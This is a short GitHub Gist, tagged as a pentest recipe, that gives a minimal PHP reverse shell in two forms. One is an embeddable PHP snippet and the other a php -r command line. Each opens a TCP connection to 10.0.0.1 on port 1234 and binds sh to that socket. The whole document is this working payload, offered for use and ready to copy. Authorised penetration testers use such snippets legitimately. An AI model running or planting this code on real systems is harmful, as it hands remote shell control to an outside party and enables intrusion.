Skip to content

Instantly share code, notes, and snippets.

@p0c
Created February 17, 2014 09:49
Show Gist options
  • Save p0c/9047726 to your computer and use it in GitHub Desktop.
Save p0c/9047726 to your computer and use it in GitHub Desktop.
#pentest #recipe: small php reverse shell
# fd for tcp could change (in this case == 3)
<?php $s=fsockopen("10.0.0.1",1234);exec("sh<&3>&3 2>&3");?>
# command line version
php -r '$s=fsockopen("10.0.0.1",1234);exec("sh<&3>&3 2>&3");'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment